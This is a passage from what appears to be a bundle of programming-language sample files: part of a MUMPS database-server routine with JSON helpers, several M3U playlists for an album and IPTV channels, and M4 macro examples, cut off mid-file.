p2'=\"\" s p2=\"(\"_p2_\")\"\n s fromGlo=\"^\"_$p(fromGlo,\"[\",1)_p2\n s p2=$p(toGlo,\"[\",2,2000)\n s p2=$e(p2,1,$l(p2)-1)\n i p2'=\"\" s p2=\"(\"_p2_\")\"\n s toGlo=\"^\"_$p(toGlo,\"[\",1)_p2\n s x=\"\"\n i killToFirst s x=\"k \"_toGlo_\" \"\n s x=x_\"m \"_toGlo_\"=\"_fromGlo\n x x\n ;\n i $g(^%zewd(\"trace\"))=1 d trace(\"x=\"_x)\n s response=\"+ok\"_crlf\n i $g(^%zewd(\"trace\"))=1 d trace(\"copy: response=\"_response)\n w response\n s $zt=\"\"\n i $g(^mwire(\"logger\"))=1 d logger(\"copy\")\n ;\n QUIT\n ;\nmdate\n ;\n n date,day,time\n ;\n s date=$h\n s day=+date\n s output=\"*2\"_crlf_\"$\"_$l(day)_crlf_day_crlf\n w output\n s time=$p(date,\",\",2)\n s output=\"$\"_$l(time)_crlf_time_crlf\n w output\n QUIT\n ;\ntstart\n s $zt=$$zt()\n TSTART\n s output=\"+OK\"_crlf\n w output\n s $zt=\"\"\n QUIT\n ;\ntcommit\n s $zt=$$zt()\n TCOMMIT\n s output=\"+OK\"_crlf\n w output\n s $zt=\"\"\n QUIT\n ;\ntrollback\n s $zt=$$zt()\n TROLLBACK\n s output=\"+OK\"_crlf\n w output\n s $zt=\"\"\n QUIT\n ;\nzv\n s output=\"+\"_$zv_crlf\n w output\n QUIT\n ;\nzt()\n i $zv[\"GT.M\" QUIT \"g executeError^zmwire\"\n QUIT \"executeError^zmwire\"\n ;\nprocessid\n s output=\":\"_$j_crlf\n w output\n QUIT\n ;\nping\n s output=\"+PONG\"_crlf\n w output\n QUIT\n ;\nexecuteError\n s output=\"-Invalid Command\"_crlf\n w output\n g loop\n ;\nreplaceAll(InText,FromStr,ToStr) ; Replace all occurrences of a substring\n ;\n n p\n ;\n s p=InText\n i ToStr[FromStr d  QUIT p\n . n i,stop,tempText,tempTo\n . s stop=0\n . f i=0:1:255 d  q:stop\n . . q:InText[$c(i)\n . . q:FromStr[$c(i)\n . . q:ToStr[$c(i)\n . . s stop=1\n . s tempTo=$c(i)\n . s tempText=$$replaceAll(InText,FromStr,tempTo)\n . s p=$$replaceAll(tempText,tempTo,ToStr)\n f  q:p'[FromStr  S p=$$replace(p,FromStr,ToStr)\n QUIT p\n ;\nreplace(InText,FromStr,ToStr) ; replace old with new in string\n ;\n n np,p1,p2\n ;\n i InText'[FromStr q InText\n s np=$l(InText,FromStr)+1\n s p1=$p(InText,FromStr,1),p2=$p(InText,FromStr,2,np)\n QUIT p1_ToStr_p2\n ;\nreadChars(length)\n ;\n n data,i,x\n ;\n s data=\"\"\n f i=1:1:length r *x s data=data_$c(x)\n QUIT data\n ;\nstripSpaces(string)\n i $zv[\"Cache\" QUIT $$stripSpaces^MDBMCache(string)\n ;\n s string=$$stripLeadingSpaces(string)\n QUIT $$stripTrailingSpaces(string)\n ;\nstripLeadingSpaces(string)\n ;\n n i\n ;\n f i=1:1:$l(string) QUIT:$e(string,i)'=\" \"\n QUIT $e(string,i,$l(string))\n ;\nstripTrailingSpaces(string)\n ;\n n i,spaces,new\n ;\n s spaces=$$makeString(\" \",100)\n s new=string_spaces\n QUIT $p(new,spaces,1)\n ;\nmakeString(char,len) ; create a string of len characters\n ;\n n str\n ;\n s str=\"\",$p(str,char,len+1)=\"\"\n QUIT str\n ;\nMD5(string)\n ;\n ; n hash\n ;\n i $zv[\"Cache\" QUIT $$MD5^MDBMCache(string)\n ;\n QUIT $$MD5^%ZMGWSIS(string,1,1)\n ;\nunEscape(string)\n ;\n n buf,outstring,p1,p2,hex,asc\n ;\n s buf=string\n s outstring=\"\"\n f  q:buf'[\"%\"  d\n . s p1=$p(buf,\"%\",1)\n . s outstring=outstring_p1\n . s p2=$p(buf,\"%\",2,50000)\n . i $e(p2)=\"u\" s buf=$e(p2,6,9999),hex=$e(p2,2,5),outstring=outstring_$c($$hex2Ascii(hex)-1264) q\n . s hex=$e(p2,1,2)\n . s buf=$e(p2,3,$l(p2))\n . s asc=$$hex2Ascii(hex)\n . s outstring=outstring_$c(asc)\n QUIT (outstring_buf)\n ;\nhex2Ascii(string)\n ;\n n asc,c,conv,err,i,n,power\n ;\n s string=$zconvert(string,\"U\")\n s asc=0\n f i=0:1:9 S conv(i)=i\n s conv(\"A\")=10\n s conv(\"B\")=11\n s conv(\"C\")=12\n s conv(\"D\")=13\n s conv(\"E\")=14\n s conv(\"F\")=15\n s n=-1,err=0\n f i=$l(string):-1:1 d  q:err\n . s n=n+1\n . s power=16**n\n . s c=$e(string,i)\n . i '$d(conv(c)) s err=1 q\n . s asc=asc+(conv(c)*power)\n i err QUIT \"-1\"\n QUIT asc\n ;\nts()\n s last=$g(^zmwire(\"lastts\"))\n n io,p,resp\n s io=$io\n s p=\"time\"\n o p:(COMMAND=\"date +%s%N\":READONLY)::\"PIPE\"\n u p\n r resp q:$ZEOF\n c p\n u io\n s ^zmwire(\"lastts\")=resp\n QUIT ((resp-last)/1000000000)\n ;\nrelinkRoutines()\n n list,rou,xrou\n i $g(^zewd(\"trace\"))=1 d trace(\"Process \"_$j_\": Relinking...\")\n s rou=\"\"\n f  s rou=$view(\"RTNNEXT\",rou) q:rou=\"\"  d\n . i rou=\"zmwire\" q\n . i rou=\"%zewdGTMRuntime\" q\n . i rou=\"%zewdPHP\" q\n . i rou=\"MDB\" q\n . i rou=\"ewdWLewdmgrrelink\" q\n . i rou=\"%ZMGWSI\" q\n . i rou=\"%ZMGWSIS\" q\n . i rou=\"GTM$DMOD\" q\n . s xrou=rou\n . i $e(xrou,1)=\"%\" s xrou=\"_\"_$e(xrou,2,$l(xrou))\n . zl xrou\n . i $g(^zewd(\"trace\"))=1 d trace(\"relinked \"_rou)\n s ^zmwire(\"relink\",\"process\",$j)=\"\"\n i $g(^zewd(\"trace\"))=1 d trace(\"Process \"_$j_\": Relinking complete\")\n QUIT \"\"\n ;\nrelink ;\n s ^zmwire(\"relink\")=1\n k ^zmwire(\"relink\",\"process\")\n QUIT\n ;\narrayToJSON(name)\n n a,buff,c,json,subscripts\n i '$d(@name) QUIT \"[]\"\n s json=$$walkArray(\"\",name)\n ; Encode UTF-8 characters\n s buff=\"\"\n f i=1:1:$l(json) d\n . s c=$e(json,i)\n . s a=$a(c)\n . i a>160 d\n . . i a<192 d\n . . . s buff=buff_$c(194)_c\n . . e  d\n . . . s buff=buff_$c(195)_$c(a-64)\n . e  d\n . . s buff=buff_c\n QUIT buff\n ;\nwalkArray(json,name,subscripts)\n ;\n n allNumeric,arrComma,brace,comma,count,cr,dd,i,no,numsub,dblquot,quot\n n ref,sub,subNo,subscripts1,type,valquot,value,xref,zobj\n ;\n s cr=$c(13,10),comma=\",\"\n s (quot,dblquot,valquot)=\"\"\"\"\n s dd=$d(@name)\n i dd=1!(dd=11) d  i dd=1 QUIT json\n . s value=@name\n . i value'[\">\" q\n . s json=$$walkArray(json,value,.subscripts)\n s ref=name_\"(\"\n s no=$o(subscripts(\"\"),-1)\n i no>0 f i=1:1:no d\n . i subscripts(i)[quot s subscripts(i)=$$replaceAll(subscripts(i),quot,quot_quot)\n . i subscripts(i)?.\"-\"1N.N s quot=\"\"\n . s ref=ref_quot_subscripts(i)_quot_\",\"\n . s quot=dblquot\n s ref=ref_\"sub)\"\n s sub=\"\",numsub=0,subNo=0,count=0\n s allNumeric=1\n f  s sub=$o(@ref) q:sub=\"\"  d  q:'allNumeric\n . i sub'?1N.N s allNumeric=0\n . s count=count+1\n . i sub'=count s allNumeric=0\n ;i allNumeric,count=1 s allNumeric=0\n s allNumeric=0\n i allNumeric d\n . s json=json_\"[\"\n e  d\n . s json=json_\"{\"\n s sub=\"\"\n f  s sub=$o(@ref) q:sub=\"\"  d\n . s subscripts(no+1)=sub\n . s subNo=subNo+1\n . s dd=$d(@ref)\n . i dd=1 d\n . . s value=@ref\n . . ;i value[\"\\\" s value=$$replaceAll(value,\"\\\",\"\\\\\")\n . . s value=$$removeControlChars(value)\n . . i 'allNumeric d\n . . . ;i sub[\"\\\",sub'[\"\\\\\",sub'[\"\\\"\"\"  s sub=$$replaceAll(sub,\"\\\",\"\\\\\")\n . . . i sub[\"\\\" s sub=$$replaceAll(sub,\"\\\",\"\\\\\")\n . . . s sub=$$removeControlChars(sub)\n . . . s json=json_\"\"\"\"_sub_\"\"\":\"\n . . s type=\"literal\"\n . . i $$numeric(value) s type=\"numeric\"\n . . i value=\"true\"!(value=\"false\") s type=\"boolean\"\n . . i $e(value,1)=\"{\",$e(value,$l(value))=\"}\" s type=\"variable\"\n . . i type=\"literal\" d\n . . . ;i value[quot s value=$$replaceAll(value,quot,\"\\\"_quot)\n . . . ;i value[\"\\\",value'[\"\\\\\",value'[\"\\\"\"\"  s value=$$replaceAll(value,\"\\\",\"\\\\\")\n . . . i value[\"\\\" s value=$$replaceAll(value,\"\\\",\"\\\\\")\n . . . i value[quot s value=$$replaceAll(value,quot,\"\\\"\"\")\n . . . s value=valquot_value_valquot\n . . d\n . . . s json=json_value_\",\"\n . k subscripts1\n . m subscripts1=subscripts\n . i dd>9 d\n . . n subx\n . . ;i sub?1N.N d\n . . ;. i subNo=1 d\n . . ;. . s numsub=1\n . . ;. . s json=$e(json,1,$l(json)-1)_\"[\"\n . . ;e  d\n . . ;. s json=json_\"\"\"\"_sub_\"\"\":\"\n . . ;i sub[\"\\\",sub'[\"\\\\\",sub'[\"\\\"\"\" s sub=$$replaceAll(sub,\"\\\",\"\\\\\")\n . . s subx=sub\n . . i subx[\"\\\" s subx=$$replaceAll(sub,\"\\\",\"\\\\\")\n . . i subx[quot s subx=$$replaceAll(subx,quot,\"\\\"\"\")\n . . s subx=$$removeControlChars(subx)\n . . s json=json_\"\"\"\"_subx_\"\"\":\"\n . . s json=$$walkArray(json,name,.subscripts1)\n . . d\n . . . s json=json_\",\"\n ;\n s json=$e(json,1,$l(json)-1)\n i allNumeric d\n . s json=json_\"]\"\n e  d\n . s json=json_\"}\"\n QUIT json ; exit!\n ;\ntrace(text,clear) ; trace  ;\n n i\n s text=$g(text)\n i $g(clear)=1 k ^%zewdTrace\n s i=$increment(^%zewdTrace)\n s ^%zewdTrace(i)=text\n QUIT\n ;\nparseJSON(jsonString,propertiesArray,mode)\n ;\n n array,arrRef,buff,c,error\n ;\n k propertiesArray\n s error=\"\"\n s buff=$g(jsonString)\n s buff=$$replaceAll(buff,\"\\\"\"\",\"\\'\")\n s arrRef=\"array\"\n s c=$e(buff,1)\n s buff=$e(buff,2,$l(buff))\n d\n . i c=\"{\" d  q\n . . n prefix\n . . s prefix=\"\"\"zobj1\"\"\"\n . . i $g(mode)=1 s prefix=\"\"\n . . s error=$$parseJSONObject(.buff,prefix)\n . . q:error\n . . i buff'=\"\" s error=1\n . i c=\"[\" d  q\n . . n prefix\n . . s prefix=1\n . . i $g(mode)=1 s prefix=\"\"\n . . s error=$$parseJSONArray(.buff,prefix)\n . . q:error\n . . i buff'=\"\" s error=1\n . s error=1\n i error=1 QUIT \"Invalid JSON\"\n m propertiesArray=array\n QUIT \"\"\n ;\nparseJSONObject(buff,subs)\n n c,error,name,stop,subs2,value,x\n s stop=0,name=\"\",error=\"\"\n f  d  q:stop\n . s c=$e(buff,1)\n . i c=\"\" s error=1,stop=1 q\n . s buff=$e(buff,2,$l(buff))\n . i c=\"[\" s error=1,stop=1 q\n . i c=\"}\" d  q\n . . s stop=1\n . i c=\":\" d  q\n . . n subs2\n . . s value=$$getJSONValue(.buff)\n . . d  q:stop\n . . . i value=\"\" q\n . . . i $e(value,1)=\"\"\"\",$e(value,$l(value))=\"\"\"\" q\n . . . i value=\"true\"!(value=\"false\") s value=\"\"\"\"_value_\"\"\"\" q\n . . . i $$numeric(value) q\n . . . s error=1,stop=1\n . . i value=\"\",$e(buff,1)=\"{\" d  q\n . . . i $e(name,1)'=\"\"\"\",$e(name,$l(name))'=\"\"\"\" s name=\"\"\"\"_name_\"\"\"\"\n . . . s subs2=subs\n . . . i subs'=\"\" s subs2=subs2_\",\"\n . . . s subs2=subs2_name\n . . . i $g(mode)=\"\" s subs2=subs2_\",\"\"zobj1\"\"\"\n . . . s buff=$e(buff,2,$l(buff))\n . . . s error=$$parseJSONObject(.buff,subs2)\n . . . i error=1 s stop=1 q\n . . i value=\"\",$e(buff,1)=\"[\" d  q\n . . . ;s subs2=subs_\",\"\"\"_name_\"\"\",\"\"1\"\"\"\n . . . i $e(name,1)'=\"\"\"\",$e(name,$l(name))'=\"\"\"\" s name=\"\"\"\"_name_\"\"\"\"\n . . . s subs2=subs\n . . . i subs'=\"\" s subs2=subs2_\",\"\n . . . s subs2=subs2_name\n . . . s buff=$e(buff,2,$l(buff))\n . . . s error=$$parseJSONArray(.buff,subs2)\n . . . i error=1 s stop=1 q\n . . i $e(name,1)=\"\"\"\",$e(name,$l(name))'=\"\"\"\" s error=1,stop=1 q\n . . i $e(name,1)'=\"\"\"\",$e(name,$l(name))=\"\"\"\" s error=1,stop=1 q\n . . i $e(name,1)'=\"\"\"\",$e(name,$l(name))'=\"\"\"\" s name=\"\"\"\"_name_\"\"\"\"\n . . s subs2=subs\n . . i subs'=\"\" s subs2=subs2_\",\"\n . . s subs2=subs2_name\n . . i value[\"\\'\" s value=$$replaceAll(value,\"\\'\",\"\"\"\"\"\")\n . . s x=\"s \"_arrRef_\"(\"_subs2_\")=\"_value\n . . x x\n . i c=\",\" s name=\"\" q\n . s name=name_c q\n QUIT error\n ;\nparseJSONArray(buff,subs)\n n c,error,name,no,stop,subs2,value,x\n s stop=0,name=\"\",no=0,error=\"\"\n f  d  q:stop\n . s c=$e(buff,1)\n . i c=\"\" s error=1,stop=1 q\n . s buff=$e(buff,2,$l(buff))\n . i c=\":\" s error=1,stop=1 q\n . i c=\"]\" d  q\n . . s stop=1\n . . i name=\"\" q\n . . s no=no+1\n . . s subs2=subs\n . . i subs'=\"\" s subs2=subs2_\",\"\n . . s subs2=subs2_no\n . . s x=\"s \"_arrRef_\"(\"_subs2_\")=\"_name\n . . x x\n . i c=\"[\" d  q\n . . s no=no+1\n . . s subs2=subs\n . . i subs'=\"\" s subs2=subs2_\",\"\n . . s subs2=subs2_no\n . . ;s buff=$e(buff,2,$l(buff))\n . . s error=$$parseJSONArray(.buff,subs2)\n . . i error=1 s stop=1 q\n . i c=\"{\" d  q\n . . s no=no+1\n . . s subs2=subs\n . . i subs'=\"\" s subs2=subs2_\",\"\n . . s subs2=subs2_no\n . . i $g(mode)=\"\" s subs2=subs2_\",\"\"zobj1\"\"\"\n . . ;s buff=$e(buff,2,$l(buff))\n . . s error=$$parseJSONObject(.buff,subs2)\n . . i error=1 s stop=1 q\n . s subs2=subs\n . i subs'=\"\" s subs2=subs2_\",\"\n . s subs2=subs2_\"\"\"\"_name_\"\"\"\"\n . i c=\",\" d  q\n . . i name=\"\" q\n . . d  q:stop\n . . . i $e(name,1)=\"\"\"\",$e(name,$l(name))=\"\"\"\" q\n . . . ;i value=\"true\"!(value=\"false\") s value=\"\"\"\"_value_\"\"\"\" q\n . . . i $$numeric(name) q\n . . . s error=1,stop=1\n . . s no=no+1\n . . s subs2=subs\n . . i subs'=\"\" s subs2=subs2_\",\"\n . . s subs2=subs2_\"\"\"\"_no_\"\"\"\"\n . . s x=\"s \"_arrRef_\"(\"_subs2_\")=\"_name\n . . x x\n . . s name=\"\"\n . s name=name_c q\n QUIT error\n ;\ngetJSONValue(buff)\n n c,isLiteral,lc,stop,value\n s stop=0,value=\"\",isLiteral=0,lc=\"\"\n f  d  q:stop  q:buff=\"\"\n . s c=$e(buff,1)\n . i value=\"\",c=\"\"\"\" s isLiteral=1\n . i 'isLiteral,c=\"[\" s stop=1 q\n . i 'isLiteral,c=\"{\" s stop=1 q\n . i c=\"}\" d  q:stop\n . . i isLiteral,lc'=\"\"\"\" q\n . . s stop=1\n . i c=\",\" d  q:stop\n . . i isLiteral,lc'=\"\"\"\" q\n . . s stop=1\n . s buff=$e(buff,2,$l(buff))\n . s value=value_c\n . s lc=c\n QUIT value\n ;\nnumeric(value)\n i $e(value,1)=0,$l(value)>1 QUIT 0\n i $e(value,1,2)=\"-0\",$l(value)>2,$e(value,1,3)'=\"-0.\" QUIT 0\n i value?1N.N QUIT 1\n i value?1\"-\"1N.N QUIT 1\n i value?1N.N1\".\"1N.N QUIT 1\n i value?1\"-\"1N.N1\".\"1N.N QUIT 1\n i value?1\".\"1N.N QUIT 1\n i value?1\"-.\"1N.N QUIT 1\n QUIT 0\n ;\nremoveControlChars(string)\n n c,i,newString\n s newString=\"\"\n f i=1:1:$l(string) d\n . s c=$e(string,i)\n . i $a(c)<32 s c=\"~\"\n . s newString=newString_c\n QUIT newString\n ;\nutfConvert(input)\n ; Unescape UTF-8 characters\n i input[$c(195) d\n . n buf,c1,i,no,p\n . s buf=$p(input,$c(195),1)\n . s no=$l(input,$c(195))\n . f i=2:1:no d\n . . s p=$p(input,$c(195),i)\n . . s c1=$e(p,1)\n . . s c1=$c($a(c1)+64)\n . . s buf=buf_c1_$e(p,2,$l(p))\n . s input=buf\n s input=$tr(input,$c(194),\"\")\n QUIT input\n ;\n\n"
  },
  {
    "path": "samples/M3U/Bolt Thrower - Those Once Loyal.m3u",
    "content": "#EXTM3U\n#EXTALB:Those Once Loyal (2005)\n#EXTART:Bolt Thrower\n#EXTGENRE:Death Metal\n#EXTALBUMARTURL:https://coverartarchive.org/release-group/180923eb-59de-331e-a724-77ec6b4abe2c/front\n#EXTINF:278,Bolt Thrower - At First Light\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/01 At First Light.mp3\n#EXTINF:221,Bolt Thrower - Entrenched\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/02 Entrenched.mp3\n#EXTINF:281,Bolt Thrower - The Killchain\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/03 The Killchain.mp3\n#EXTINF:243,Bolt Thrower - Granite Wall\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/04 Granite Wall.mp3\n#EXTINF:254,Bolt Thrower - Those Once Loyal\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/05 Those Once Loyal.mp3\n#EXTINF:255,Bolt Thrower - Anti-Tank (Dead Armour)\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/06 Anti-Tank (Dead Armour).mp3\n#EXTINF:190,Bolt Thrower - Last Stand of Humanity\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/07 Last Stand of Humanity.mp3\n#EXTINF:318,Bolt Thrower - Salvo\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/08 Salvo.mp3\n#EXTINF:327,Bolt Thrower - When Cannons Fade\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/09 When Cannons Fade.mp3\n#EXTINF:250,Bolt Thrower - A Symbol of Eight\n/Users/Alhadis/Music/Bolt Thrower/Those Once Loyal/10 A Symbol of Eight.mp3\n"
  },
  {
    "path": "samples/M3U/M+.m3u8",
    "content": "#EXTM3U\n#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=929819,RESOLUTION=960x540\nhttp://210.210.155.37/uq2663/h/h242/01.m3u8\n#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=470037,RESOLUTION=320x240\nhttp://210.210.155.37/uq2663/h/h242/index.m3u8\n#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=2238993,RESOLUTION=960x540\nhttp://210.210.155.37/uq2663/h/h242/02.m3u8\n\n\n##EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=929819,RESOLUTION=960x540\n##http://edge.linknetott.swiftserve.com/channelgroup2/cg233production/ch372/02.m3u8\n##EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=470037,RESOLUTION=320x240\n##http://edge.linknetott.swiftserve.com/channelgroup2/cg233production/ch372/01.m3u8\n##EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=2238993,RESOLUTION=960x540\n##http://edge.linknetott.swiftserve.com/channelgroup2/cg233production/ch372/03.m3u8\n"
  },
  {
    "path": "samples/M3U/au.m3u",
    "content": "#EXTM3U x-tvg-url=\"http://i.mjh.nz/nzau/epg.xml.gz\"\n#EXTINF:-1 tvg-id=\"tv.101002210221\" tvg-name=\"ABC\" tvg-language=\"English\" tvg-logo=\"https://www.abc.net.au/tv/epg/images/channels/ABC1_60x53.png\" group-title=\"News\",ABC\nhttps://i.mjh.nz/au/Brisbane/tv.101002410241.m3u8\n#EXTINF:-1 tvg-id=\"tv.101002210222\" tvg-name=\"ABC COMEDY/ABC KIDS NSW\" tvg-language=\"English\" tvg-logo=\"https://www.abc.net.au/tv/epg/images/channels/ABC2_76x37.png\" group-title=\"News\",ABC Comedy\nhttps://i.mjh.nz/au/Brisbane/tv.abc2.m3u8\n#EXTINF:-1 tvg-id=\"tv.101002210222\" tvg-name=\"ABC COMEDY/ABC KIDS NSW\" tvg-language=\"English\" tvg-logo=\"https://www.abc.net.au/cm/rimage/11251996-1x1-large.png\" group-title=\"News\",ABC Kids\nhttps://i.mjh.nz/au/Brisbane/tv.101002210222.m3u8\n#EXTINF:-1 tvg-id=\"tv.101002210224\" tvg-name=\"ABC ME\" tvg-language=\"English\" tvg-logo=\"https://www.abc.net.au/cm/rimage/11416782-1x1-large.png\" group-title=\"News\",ABC ME\nhttps://i.mjh.nz/au/Brisbane/tv.101002210224.m3u8\n#EXTINF:-1 tvg-id=\"tv.acctv\" tvg-name=\"ACCTV\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/lokNx1U.png\" group-title=\"Religious\",ACCTV\nhttp://i.mjh.nz/au/Melbourne/tv.acctv.m3u8\n#EXTINF:-1 tvg-id=\"tv.acctv\" tvg-name=\"ACCTV\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/lokNx1U.png\" group-title=\"Religious\",ACCTV\nhttp://live-mobile.cdn01.net/hls-live/202E1F/default/mobile/stream_14949_1.m3u8?source=othersites&attempt=1\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/mdNV8tQ.jpg\" group-title=\"News\",Australia Channel\nhttps://austchannel-live.akamaized.net/hls/live/2002729/austchannel-news/master1280x720.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/VsvBUCa.jpg\" group-title=\"Business\",Bloomberg TV Australia\nhttps://liveprodapnortheast.global.ssl.fastly.net/btv/desktop/aus_live.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/VsvBUCa.jpg\" group-title=\"Business\",Bloomberg TV Australia\nhttps://liveprodapnortheast.global.ssl.fastly.net/oz1/Channel-OZTVqvs-AWS-tokyo-1/Source-OZTVqvs-1000-1_live.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/2KzCShW.png\" group-title=\"Shop\",Expo Channel\nhttp://tvsn-i.akamaihd.net/hls/live/261837/expo/expo_750.m3u8\n#EXTINF:-1 tvg-id=\"tv.fox.sports.news\" tvg-name=\"Fox Sports News\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/Kxem8ae.jpg\" group-title=\"Sport\",Fox Sports News\nhttps://austchannel-live.akamaized.net/hls/live/2002736/austchannel-sport/master1280x720.m3u8\n#EXTINF:-1 tvg-id=\"tv.101305020528\" tvg-name=\"RACING.COM\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/1M4zMdC.png\" group-title=\"Sport\",Racing.com\nhttps://racingvic-i.akamaized.net/hls/live/598695/racingvic/1500.m3u8\n#EXTINF:-1 tvg-id=\"tv.101305020528\" tvg-name=\"RACING.COM\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/1M4zMdC.png\" group-title=\"Sport\",Racing.com\nhttps://racingvic-i.akamaized.net/hls/live/598695/racingvic/628.m3u8\n#EXTINF:-1 tvg-id=\"tv.101305020528\" tvg-name=\"RACING.COM\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/1M4zMdC.png\" group-title=\"Sport\",Racing.com\nhttps://racingvic-i.akamaized.net/hls/live/598695/racingvic/628.m3u8?fluxustv.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/Wl0iGsD.png\" group-title=\"News\",Sky News Extra 1\nhttps://skynewsau-live.akamaized.net/hls/live/2002689/skynewsau-extra1/master.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/Wl0iGsD.png\" group-title=\"News\",Sky News Extra 2\nhttps://skynewsau-live.akamaized.net/hls/live/2002690/skynewsau-extra2/master.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-language=\"English\" tvg-logo=\"https://i.imgur.com/Wl0iGsD.png\" group-title=\"News\",Sky News Extra 3\nhttps://skynewsau-live.akamaized.net/hls/live/2002691/skynewsau-extra3/master.m3u8\n"
  },
  {
    "path": "samples/M3U/gn.m3u",
    "content": "#EXTM3U\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-logo=\"https://i.imgur.com/EX4DCTN.png\" group-title=\"\",CIS TV\nhttp://162.212.178.131:1935/CDNLIVE/CISTV/master.m3u8\n#EXTINF:-1 tvg-id=\"\" tvg-name=\"\" tvg-logo=\"https://i.imgur.com/moTF5EE.jpg\" group-title=\"\",RTG KOLOMA\nhttps://dcunilive38-lh.akamaihd.net/i/dclive_1@690091/index_150_av-p.m3u8?sd=10&rebase=on\n"
  },
  {
    "path": "samples/M4/fibo.m4",
    "content": "dnl $OpenBSD: fibo.m4,v 1.2 2000/07/01 14:18:39 espie Exp $\ndefine(`copy', `$1')dnl\ndefine(`fibo',dnl\n`ifelse($1,0,`a',dnl\n$1,1,`b',dnl\n`copy(fibo(decr($1)))`'copy(fibo(decr(decr($1))))')')dnl\nfibo(N)\n"
  },
  {
    "path": "samples/M4/htmlgen.m4",
    "content": "dnl Took from https://en.wikipedia.org/wiki/M4_(computer_language)\ndivert(-1)\n\nM4 has multiple output queues that can be manipulated with the\n`divert' macro. Valid queues range from 0 to 10, inclusive, with\nthe default queue being 0.\n\nCalling the `divert' macro with an invalid queue causes text to be\ndiscarded until another call.  Note that even while output is being\ndiscarded, quotes around `divert' and other macros are needed to\nprevent expansion.\n\n# Macros aren't expanded within comments, meaning that keywords such\n# as divert and other built-ins may be used without consequence.\n\n# HTML utility macro:\n\ndefine(`H2_COUNT', 0)\n\n# The H2_COUNT macro is redefined every time the H2 macro is used:\n\ndefine(`H2',\n\t`define(`H2_COUNT', incr(H2_COUNT))<h2>H2_COUNT. $1</h2>')\n\ndivert(1)dnl\ndnl\ndnl The dnl macro causes m4 to discard the rest of the line, thus\ndnl preventing unwanted blank lines from appearing in the output.\ndnl\nH2(First Section)\nH2(Second Section)\nH2(Conclusion)\ndnl\ndivert(0)dnl\ndnl\n<HTML>\nundivert(1)dnl One of the queues is being pushed to output.\n</HTML>\n"
  },
  {
    "path": "samples/M4/postscript.m4",
    "content": "divert(-1)\n   postscript.m4                  Initialization for Postscript output.\n\n* Circuit_macros Version 9.3, copyright (c) 2020 J. D. Aplevich under      *\n* the LaTeX Project Public Licence in file Licence.txt. The files of       *\n* this distribution may be redistributed or modified provided that this    *\n* copyright notice is included and provided that modifications are clearly *\n* marked to distinguish them from this distribution.  There is no warranty *\n* whatsoever for these files.                                              *\n\ndefine(`m4picprocessor',dpic)\ndefine(`m4postprocessor',postscript)\n\nifdef(`libgen_',,`include(libgen.m4)divert(-1)')dnl\n\n                                Color utilities\ndefine(`setrgb',`pushdef(`r_',`$1')pushdef(`g_',`$2')pushdef(`b_',`$3')dnl\npushdef(`m4cl_',ifelse(`$4',,lcspec,`$4'))dnl\n command sprintf(\" /m4cl_ {%7.5f %7.5f %7.5f} def\",r_,g_,b_)\n command \" m4cl_ setrgbcolor\"')\n\ndefine(`resetrgb',`popdef(`m4cl_')popdef(`r_')popdef(`g_')popdef(`b_')dnl\n ifdef(`r_',\n  `command sprintf(\" %7.5f %7.5f %7.5f setrgbcolor\",r_,g_,b_)',\n  `command \" 0 0 0 setrgbcolor\"') ')\n\n                                `rgbdraw(color triple, drawing commands)'\ndefine(`rgbdraw',`setrgb(`$1',`$2',`$3')\n  shift(shift(shift($@)))\n  resetrgb')\n                                `rgbfill(color triple, closed path)'\ndefine(`rgbfill',\n `command \" npath /npath {} def /endstroke {} def\"\n  ifm4_rgbtestcomma(`$1',\n   `shift($@)\n    command \"gsave `$1' setrgbcolor\"',\n   `shift(shift(shift($@)))\n    command sprintf(\"gsave %7.5f %7.5f %7.5f setrgbcolor\", `$1',`$2',`$3')')\n  command \" fill grestore ostroke\"\n  command \" /endstroke {ostroke} def /npath {newpath} def\"')\n                                `Top-level test for comma'\ndefine(`ifm4_rgbtestcomma',`ifinstr(`$1',`,',`$2',`$3')')\n\n                                Define some primary colors\ndefine(`defineRGBprimaries',`\ncommand \"/white {1 1 1} def\n/lightgrey {0.75 0.75 0.75} def\n/lightgray {0.75 0.75 0.75} def\n/grey {0.5 0.5 0.5} def\n/gray {0.5 0.5 0.5} def\n/darkgrey {0.25 0.25 0.25} def\n/darkgray {0.25 0.25 0.25} def\n/black {0 0 0} def\n/red {1 0 0} def\n/green {0 1 0} def\n/blue {0 0 1} def\n/cyan {0 1 1} def\n/magenta {1 0 1} def\n/yellow {1 1 0} 